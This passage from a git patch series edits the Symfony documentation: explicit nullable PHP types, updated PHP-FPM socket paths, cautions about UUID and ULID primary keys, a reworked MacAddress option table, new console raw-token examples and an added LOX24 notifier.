index 78fd55f99aa..22e603fc3a7 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -240,7 +240,7 @@ you do. The resource name itself is not actually used in the example::
     {
         private $isLoaded = false;
 
-        public function load($resource, string $type = null)
+        public function load($resource, ?string $type = null)
         {
             if (true === $this->isLoaded) {
                 throw new \RuntimeException('Do not add the "extra" loader twice');
@@ -267,7 +267,7 @@ you do. The resource name itself is not actually used in the example::
             return $routes;
         }
 
-        public function supports($resource, string $type = null)
+        public function supports($resource, ?string $type = null)
         {
             return 'extra' === $type;
         }
@@ -412,7 +412,7 @@ configuration file - you can call the
 
     class AdvancedLoader extends Loader
     {
-        public function load($resource, string $type = null)
+        public function load($resource, ?string $type = null)
         {
             $routes = new RouteCollection();
 
@@ -426,7 +426,7 @@ configuration file - you can call the
             return $routes;
         }
 
-        public function supports($resource, string $type = null)
+        public function supports($resource, ?string $type = null)
         {
             return 'advanced_extra' === $type;
         }
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 93448456cf0..6ab876d5c4a 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -40,7 +40,7 @@ unauthenticated user tries to access a protected resource::
             $this->urlGenerator = $urlGenerator;
         }
 
-        public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
+        public function start(Request $request, ?AuthenticationException $authException = null): RedirectResponse
         {
             // add a custom flash message and redirect to the login page
             $request->getSession()->getFlashBag()->add('note', 'You have to login in order to access this page.');
diff --git a/security/login_link.rst b/security/login_link.rst
index 73df5906565..23756024712 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -312,7 +312,7 @@ This will send an email like this to the user:
 
         class CustomLoginLinkNotification extends LoginLinkNotification
         {
-            public function asEmailMessage(EmailRecipientInterface $recipient, string $transport = null): ?EmailMessage
+            public function asEmailMessage(EmailRecipientInterface $recipient, ?string $transport = null): ?EmailMessage
             {
                 $emailMessage = parent::asEmailMessage($recipient, $transport);
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 85044ed0f33..dd02db39bb1 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -33,7 +33,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             $this->normalizer = $normalizer;
         }
 
-        public function normalize($topic, string $format = null, array $context = [])
+        public function normalize($topic, ?string $format = null, array $context = [])
         {
             $data = $this->normalizer->normalize($topic, $format, $context);
 
@@ -45,7 +45,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             return $data;
         }
 
-        public function supportsNormalization($data, string $format = null, array $context = [])
+        public function supportsNormalization($data, ?string $format = null, array $context = [])
         {
             return $data instanceof Topic;
         }
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 593c968e12a..e7c172181c3 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -44,7 +44,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
             public $mode = 'strict';
 
             // all configurable options must be passed to the constructor
-            public function __construct(string $mode = null, string $message = null, array $groups = null, $payload = null)
+            public function __construct(?string $mode = null, ?string $message = null, ?array $groups = null, $payload = null)
             {
                 parent::__construct([], $groups, $payload);
 
@@ -270,9 +270,9 @@ define those options as public properties on the constraint class:
 
             public function __construct(
                 $mandatoryFooOption,
-                string $message = null,
-                bool $optionalBarOption = null,
-                array $groups = null,
+                ?string $message = null,
+                ?bool $optionalBarOption = null,
+                ?array $groups = null,
                 $payload = null,
                 array $options = []
             ) {

From ba2513721294ff8bb494aed171b51fa4f68433d6 Mon Sep 17 00:00:00 2001
From: Maxime Veber <nek.dev@gmail.com>
Date: Fri, 12 Apr 2024 09:52:49 +0200
Subject: [PATCH 4651/5766] Update php version in web_server_configuration.rst

---
 setup/web_server_configuration.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index cfd4ec1a0b7..1f62d5e9af6 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -36,7 +36,7 @@ listen on. Each pool can also be run under a different UID and GID:
 
 .. code-block:: ini
 
-    ; /etc/php/7.4/fpm/pool.d/www.conf
+    ; /etc/php/8.3/fpm/pool.d/www.conf
 
     ; a pool called www
     [www]
@@ -44,7 +44,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.4-fpm.sock
+    listen = /var/run/php/php8.3-fpm.sock
 
     ; or listen on a TCP connection
     ; listen = 127.0.0.1:9000
@@ -72,7 +72,7 @@ directive to pass requests for PHP files to PHP FPM:
 
         <FilesMatch \.php$>
             # when using PHP-FPM as a unix socket
-            SetHandler proxy:unix:/var/run/php/php7.4-fpm.sock|fcgi://dummy
+            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
 
             # when PHP-FPM is configured to use TCP
             # SetHandler proxy:fcgi://127.0.0.1:9000
@@ -121,7 +121,7 @@ The **minimum configuration** to get your application running under Nginx is:
 
         location ~ ^/index\.php(/|$) {
             # when using PHP-FPM as a unix socket
-            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php8.3-fpm.sock;
 
             # when PHP-FPM is configured to use TCP
             # fastcgi_pass 127.0.0.1:9000;
@@ -198,7 +198,7 @@ When using Caddy on the server, you can use a configuration like this:
         file_server
 
         # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
-        php_fastcgi unix//var/run/php/php7.4-fpm.sock {
+        php_fastcgi unix//var/run/php/php8.3-fpm.sock {
             # optionally set the value of the environment variables used in the application
             # env APP_ENV "prod"
             # env APP_SECRET "<app-secret-id>"

From 3aa6914c2ee9b775b2cb4415e4ae607b8107729a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 15 Apr 2024 07:59:31 +0200
Subject: [PATCH 4652/5766] minor

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index c6c0da1f4d8..f4edb68c404 100644
--- a/testing.rst
+++ b/testing.rst
@@ -600,7 +600,7 @@ returns a ``Crawler`` instance.
 
 The full signature of the ``request()`` method is::
 
-    request(
+    public function request(
         string $method,
         string $uri,
         array $parameters = [],

From 82723f13a4e22cdf234158c9459f20b8d7ade092 Mon Sep 17 00:00:00 2001
From: Masaharu Suizu <30203831+suizumasahar01@users.noreply.github.com>
Date: Wed, 10 Apr 2024 19:48:20 +0900
Subject: [PATCH 4653/5766] [Console] Update monolog_console.rst

---
 logging/monolog_console.rst            |  1 +
 reference/constraints/UniqueEntity.rst | 12 ++++++------
 reference/twig_reference.rst           | 15 ++++++++++++---
 3 files changed, 19 insertions(+), 9 deletions(-)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 133185937c7..6df9111eca8 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -46,6 +46,7 @@ The example above could then be rewritten as::
 
         public function __construct(LoggerInterface $logger)
         {
+            parent::__construct();
             $this->logger = $logger;
         }
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 0f089b2518b..5ae4b29e8ed 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -211,8 +211,8 @@ Consider this example:
          * @ORM\Entity
          * @UniqueEntity(
          *     fields={"host", "port"},
-         *     errorPath="port",
-         *     message="This port is already in use on that host."
+         *     message="This port is already in use on that host.",
+         *     errorPath="port"
          * )
          */
         class Service
@@ -240,8 +240,8 @@ Consider this example:
         #[ORM\Entity]
         #[UniqueEntity(
             fields: ['host', 'port'],
-            errorPath: 'port',
             message: 'This port is already in use on that host.',
+            errorPath: 'port',
         )]
         class Service
         {
@@ -259,8 +259,8 @@ Consider this example:
             constraints:
                 - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity:
                     fields: [host, port]
-                    errorPath: port
                     message: 'This port is already in use on that host.'
+                    errorPath: port
 
     .. code-block:: xml
 
@@ -276,8 +276,8 @@ Consider this example:
                         <value>host</value>
                         <value>port</value>
                     </option>
-                    <option name="errorPath">port</option>
                     <option name="message">This port is already in use on that host.</option>
+                    <option name="errorPath">port</option>
                 </constraint>
             </class>
 
@@ -300,8 +300,8 @@ Consider this example:
             {
                 $metadata->addConstraint(new UniqueEntity([
                     'fields' => ['host', 'port'],
-                    'errorPath' => 'port',
                     'message' => 'This port is already in use on that host.',
+                    'errorPath' => 'port',
                 ]));
             }
         }
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 481cbd23898..1c20264352c 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -391,9 +391,18 @@ humanize
 ``text``
     **type**: ``string``
 
-Makes a technical name human readable (i.e. replaces underscores by spaces
-or transforms camelCase text like ``helloWorld`` to ``hello world``
-and then capitalizes the string).
+Transforms the given string into a human readable string (by replacing underscores
+with spaces, capitalizing the string, etc.) It's useful e.g. when displaying
+the names of PHP properties/variables to end users:
+
+.. code-block:: twig
+
+    {{ 'dateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'DateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'date-of-birth'|humanize }}  {# renders: Date-of-birth #}
+    {{ 'date_of_birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'date of birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'Date Of Birth'|humanize }}  {# renders: Date of birth #}
 
 .. _reference-twig-filter-trans:
 

From f2de30473652fc18a6085030c9e1aa9a8537379f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 16:04:07 +0200
Subject: [PATCH 4654/5766] [Uid] Add a caution message about using UUIDs as
 primary keys

---
 components/uid.rst | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index e64eabee0fb..4830be747b2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -344,6 +344,14 @@ entity primary keys::
         // ...
     }
 
+.. caution::
+
+    Using UUIDs as primary keys is usually not recommended for performance reasons:
+    indexes are slower and take more space (because UUIDs in binary format take 128 bits
+    instead of 32/64 bits for auto-incremental integers) and the non-sequential nature of
+    UUIDs fragments indexes. UUID v7 is the only variant that solves the fragmentation
+    issue (but the index size issue remains).
+
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL
@@ -530,9 +538,15 @@ entity primary keys::
         }
 
         // ...
-
     }
 
+.. caution::
+
+    Using ULIDs as primary keys is usually not recommended for performance reasons.
+    Although ULIDs don't suffer from index fragmentation issues (because the values
+    are sequential), their indexes are slower and take more space (because ULIDs
+    in binary format take 128 bits instead of 32/64 bits for auto-incremental integers).
+
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these ULID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL

From 28eceb8039bfdc16f4de77e65cf5ea1ff8b20152 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Apr 2024 08:27:59 +0200
Subject: [PATCH 4655/5766] Add a reference

---
 components/uid.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 4830be747b2..16bd172ca6e 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -113,6 +113,8 @@ sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
     It's recommended to use UUIDv7 instead of UUIDv6 because it provides
     better entropy.
 
+.. _uid-uuid-v7:
+
 **UUID v7** (UNIX timestamp)
 
 Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
@@ -347,10 +349,10 @@ entity primary keys::
 .. caution::
 
     Using UUIDs as primary keys is usually not recommended for performance reasons:
-    indexes are slower and take more space (because UUIDs in binary format take 128 bits
-    instead of 32/64 bits for auto-incremental integers) and the non-sequential nature of
-    UUIDs fragments indexes. UUID v7 is the only variant that solves the fragmentation
-    issue (but the index size issue remains).
+    indexes are slower and take more space (because UUIDs in binary format take
+    128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential
+    nature of UUIDs fragments indexes. :ref:`UUID v7 <uid-uuid-v7>` is the only
+    variant that solves the fragmentation issue (but the index size issue remains).
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query

From babae18a11a2c3e84de9d0448cbdb9def239b438 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Apr 2024 09:17:57 +0200
Subject: [PATCH 4656/5766] Tweaks

---
 reference/constraints/MacAddress.rst | 29 +++++++++++++++-------------
 1 file changed, 16 insertions(+), 13 deletions(-)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 93fe8142fc4..2958af49874 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -110,26 +110,29 @@ Parameter            Description
 
 **type**: ``string`` **default**: ``all``
 
-This determines exactly *how* the MAC address is validated. This option defines a
-lot of different possible values based on the type of MAC address that you want to allow/deny:
+.. versionadded:: 7.1
+
+    The ``type`` option was introduced in Symfony 7.1.
 
-================================  ==============================================================
-Parameter                         Description
-================================  ==============================================================
+This option defines the kind of MAC addresses that are allowed. There are a lot
+of different possible values based on your needs:
+
+================================  =========================================
+Parameter                         Allowed MAC addresses
+================================  =========================================
 ``all``                           All
 ``all_no_broadcast``              All except broadcast
+``broadcast``                     Only broadcast
 ``local_all``                     Only local
+``local_multicast_no_broadcast``  Only local and multicast except broadcast
+``local_multicast``               Only local and multicast
 ``local_no_broadcast``            Only local except broadcast
 ``local_unicast``                 Only local and unicast
-``local_multicast``               Only local and multicast
-``local_multicast_no_broadcast``  Only local and multicast except broadcast
-``universal_all``                 Only universal
-``universal_unicast``             Only universal and unicast
-``universal_multicast``           Only universal and multicast
-``unicast_all``                   Only unicast
 ``multicast_all``                 Only multicast
 ``multicast_no_broadcast``        Only multicast except broadcast
-``broadcast``                     Only broadcast
-===============  ==============================================================
+``unicast_all``                   Only unicast
+``universal_all``                 Only universal
+``universal_multicast``           Only universal and multicast
+================================  =========================================
 
 .. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address

From 25c5adfcbb2c68ebe8261643afcebf53464206ea Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Wed, 3 Apr 2024 19:12:01 -0400
Subject: [PATCH 4657/5766] Updating prepend extension capabilities

---
 bundles/prepend_extension.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 2a5736c440e..807c7f18caf 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -171,6 +171,9 @@ method::
             $containerBuilder->prependExtensionConfig('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
             ]);
+
+            // prepend config from a file
+            $containerConfigurator->import('../config/packages/cache.php');
         }
     }
 
@@ -178,6 +181,12 @@ method::
 
     The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
 
+.. deprecated:: 7.1
+
+    The :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import`
+    method behavior was modified in Symfony 7.1 to prepend config instead of appending. This behavior change only
+    affects to the ``prependExtension()`` method.
+
 Alternatively, you can use the ``prepend`` parameter of the
 :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension`
 method::

From a58dccf088719da4dceedc49dab3d5c18b2701b3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Apr 2024 17:01:53 +0200
Subject: [PATCH 4658/5766] Reword

---
 console/input.rst | 27 ++++++++++++++++-----------
 1 file changed, 16 insertions(+), 11 deletions(-)

diff --git a/console/input.rst b/console/input.rst
index f889926be59..6e7fc85a055 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -314,29 +314,34 @@ The above code can be simplified as follows because ``false !== null``::
 Fetching The Raw Command Input
 ------------------------------
 
-Sometimes, you may need to fetch the raw input that was passed to the command.
-This is useful when you need to parse the input yourself or when you need to
-pass the input to another command without having to worry about the number
-of arguments or options defined in your own command. This can be achieved
-thanks to the
-:method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` method::
+Symfony provides a :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens`
+method to fetch the raw input that was passed to the command. This is useful if
+you want to parse the input yourself or when you need to pass the input to another
+command without having to worry about the number of arguments or options::
 
     // ...
     use Symfony\Component\Process\Process;
 
     protected function execute(InputInterface $input, OutputInterface $output): int
     {
-        // pass the raw input of your command to the "ls" command
-        $process = new Process(['ls', ...$input->getRawTokens(true)]);
+        // if this command was run as:
+        // php bin/console app:my-command foo --bar --baz=3 --qux=value1 --qux=value2
+
+        $tokens = $input->getRawTokens();
+        // $tokens = ['app:my-command', 'foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2'];
+
+        // pass true as argument to not include the original command name
+        $tokens = $input->getRawTokens(true);
+        // $tokens = ['foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2'];
+
+        // pass the raw input to any other command (from Symfony or the operating system)
+        $process = new Process(['app:other-command', ...$input->getRawTokens(true)]);
         $process->setTty(true);
         $process->mustRun();
 
         // ...
     }
 
-You can include the current command name in the raw tokens by passing ``true``
-to the ``getRawTokens`` method only parameter.
-
 .. versionadded:: 7.1
 
     The :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens`

From 4937afbab404e8fdeaa51d9cba2d7eaff2edc67d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Apr 2024 17:57:32 +0200
Subject: [PATCH 4659/5766] Minor reword

---
 bundles/prepend_extension.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 807c7f18caf..e4099d9f81a 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -181,11 +181,11 @@ method::
 
     The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
 
-.. deprecated:: 7.1
+.. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import`
-    method behavior was modified in Symfony 7.1 to prepend config instead of appending. This behavior change only
-    affects to the ``prependExtension()`` method.
+    Starting from Symfony 7.1, calling the :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import`
+    method inside ``prependExtension()`` will prepend the given configuration.
+    In previous Symfony versions, this method appended the configuration.
 
 Alternatively, you can use the ``prepend`` parameter of the
 :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension`

From 2c8bc90536e9be2b606044124ad186fad0b38e8f Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Mon, 15 Apr 2024 09:11:02 -0400
Subject: [PATCH 4660/5766] [AssetMapper][Encore] document switching from
 AssetMapper to Encore

---
 frontend.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/frontend.rst b/frontend.rst
index 6b7aa6f5048..05f7e6c69df 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -78,6 +78,26 @@ pre-processing CSS & JS and compiling and minifying assets.
 
 :doc:`Read the Encore Documentation </frontend/encore/index>`
 
+Switch from AssetMapper
+^^^^^^^^^^^^^^^^^^^^^^^
+
+By default, new Symfony webapp projects (created with ``symfony new --webapp myapp``)
+use AssetMapper. If you still need to use Webpack Encore, use the following steps to
+switch. This is best done on a new project and provides the same features (Turbo/Stimulus)
+as the default webapp.
+
+.. code-block:: terminal
+
+    # Remove AssetMapper & Turbo/Stimulus temporarily
+    $ composer remove symfony/ux-turbo symfony/asset-mapper symfony/stimulus-bundle
+
+    # Add Webpack Encore & Turbo/Stimulus back
+    $ composer require symfony/webpack-encore-bundle symfony/ux-turbo symfony/stimulus-bundle
+
+    # Install & Build Assets
+    $ npm install
+    $ npm run dev
+
 Stimulus & Symfony UX Components
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 2cbc55e95efc57d0204684843732ddfee3507f06 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Apr 2024 11:01:45 +0200
Subject: [PATCH 4661/5766] [Uid] Mention that UUID v6 also solves the index
 fragmentation issue

---
 components/uid.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 16bd172ca6e..d1d45752501 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -97,6 +97,8 @@ It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
 ``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
 This makes it more secure and less prone to hash collisions.
 
+.. _uid-uuid-v6:
+
 **UUID v6** (reordered time-based)
 
 It rearranges the time-based fields of the UUIDv1 to make it lexicographically
@@ -351,8 +353,8 @@ entity primary keys::
     Using UUIDs as primary keys is usually not recommended for performance reasons:
     indexes are slower and take more space (because UUIDs in binary format take
     128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential
-    nature of UUIDs fragments indexes. :ref:`UUID v7 <uid-uuid-v7>` is the only
-    variant that solves the fragmentation issue (but the index size issue remains).
+    nature of UUIDs fragments indexes. :ref:`UUID v6 <uid-uuid-v6>` and :ref:`UUID v7 <uid-uuid-v7>`
+    are the only variants that solves the fragmentation issue (but the index size issue remains).
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query

From f42a61f8340e46aea4739786b7d932a97044a48d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Apr 2024 11:25:52 +0200
Subject: [PATCH 4662/5766] [Uid] Fix a typo

---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index d1d45752501..7b929500cee 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -354,7 +354,7 @@ entity primary keys::
     indexes are slower and take more space (because UUIDs in binary format take
     128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential
     nature of UUIDs fragments indexes. :ref:`UUID v6 <uid-uuid-v6>` and :ref:`UUID v7 <uid-uuid-v7>`
-    are the only variants that solves the fragmentation issue (but the index size issue remains).
+    are the only variants that solve the fragmentation issue (but the index size issue remains).
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query

From ca5065ae4a9fb67c0df28592916bff5a3f0cef0a Mon Sep 17 00:00:00 2001
From: Gaetan Rouseyrol <47118498+Te4g@users.noreply.github.com>
Date: Mon, 15 Apr 2024 13:04:27 +0200
Subject: [PATCH 4663/5766] [Scheduler] Remove incorrect mention of subtracting
 time from jitter

As we can see in the code https://github.com/symfony/symfony/blob/6.3/src/Symfony/Component/Scheduler/Trigger/JitterTrigger.php we can only add time
---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 39644ff9c8e..12d76eadc29 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -153,7 +153,7 @@ the frequency of the message. Symfony provides different types of triggers:
 
 :class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger`
     A trigger that adds a random jitter to a given trigger. The jitter is some
-    time that it's added/subtracted to the original triggering date/time. This
+    time that is added to the original triggering date/time. This
     allows to distribute the load of the scheduled tasks instead of running them
     all at the exact same time.
 

From f1793555e2e68d4b7754f5022487753a3621a8fa Mon Sep 17 00:00:00 2001
From: Andrey Lebedev <andrew.lebedev@gmail.com>
Date: Wed, 20 Mar 2024 21:37:29 +0400
Subject: [PATCH 4664/5766] [Notifier] LOX24 SMS Gateway Notifier

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 6bf3ab71c48..c9cf3068d1c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -74,6 +74,7 @@ Service             Package                                DSN
 `Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 `KazInfoTeh`_       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 `LightSms`_         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+`LOX24`_            ``symfony/lox24-notifier``             ``lox24://USER:TOKEN@default?from=FROM``
 `Mailjet`_          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
 `MessageBird`_      ``symfony/message-bird-notifier``      ``messagebird://TOKEN@default?from=FROM``
 `MessageMedia`_     ``symfony/message-media-notifier``     ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
@@ -115,7 +116,7 @@ Service             Package                                DSN
 
 .. versionadded:: 7.1
 
-    The `SmsSluzba`_ and  `SMSense`_ integrations were introduced in Symfony 7.1.
+    The `SmsSluzba`_, `SMSense`_  and `LOX24`_ integrations were introduced in Symfony 7.1.
 
 .. deprecated:: 7.1
 
@@ -1005,6 +1006,7 @@ is dispatched. Listeners receive a
 .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md
 .. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
 .. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md
+.. _`LOX24`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Lox24/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md
 .. _`Mastodon`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mastodon/README.md
 .. _`Mattermost`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mattermost/README.md

From 885d65db770ec0f72b77d5f6f2169d8f43774314 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Apr 2024 16:06:54 +0200
Subject: [PATCH 4665/5766] Minor tweak

---
 controller.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index 2edf6affb2f..90277e07b76 100644
--- a/controller.rst
+++ b/controller.rst
@@ -555,7 +555,8 @@ if you want to map a nested array of specific DTOs::
         ) {}
     }
 
-Nevertheless, if you want to send the array of payloads directly like this:
+Instead of returning an array of DTO objects, you can tell Symfony to transform
+each DTO object into an array and return something like this:
 
 .. code-block:: json
 
@@ -572,7 +573,8 @@ Nevertheless, if you want to send the array of payloads directly like this:
         }
     ]
 
-Map the parameter as an array and configure the type of each element in the attribute::
+To do so, map the parameter as an array and configure the type of each element
+using the ``type`` option of the attribute::
 
     public function dashboard(
         #[MapRequestPayload(type: UserDTO::class)] array $users
@@ -581,6 +583,10 @@ Map the parameter as an array and configure the type of each element in the attr
         // ...
     }
 
+.. versionadded:: 7.1
+
+    The ``type`` option of ``#[MapRequestPayload]`` was introduced in Symfony 7.1.
+
 Managing the Session
 --------------------
 

From 826c0214c9244116f4f15579b4a762b1b658be7c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 14 Apr 2024 21:17:36 +0200
Subject: [PATCH 4666/5766] Use DOCtor-RST 1.60.1

---
 .doctor-rst.yaml                 | 1 +
 .github/workflows/ci.yaml        | 2 +-
 validation/custom_constraint.rst | 6 +++---
 3 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f8b4ba96a91..5f428fc80ca 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -15,6 +15,7 @@ rules:
     ensure_correct_format_for_phpfunction: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_explicit_nullable_types: ~
     ensure_github_directive_start_with_prefix:
         prefix: 'Symfony'
     ensure_link_bottom: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 50524a74310..a7a2db5f7a9 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.59.0
+                uses: docker://oskarstark/doctor-rst:1.60.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index e7c172181c3..549de6e3234 100644
--- a/validation/custom_constraint.rst
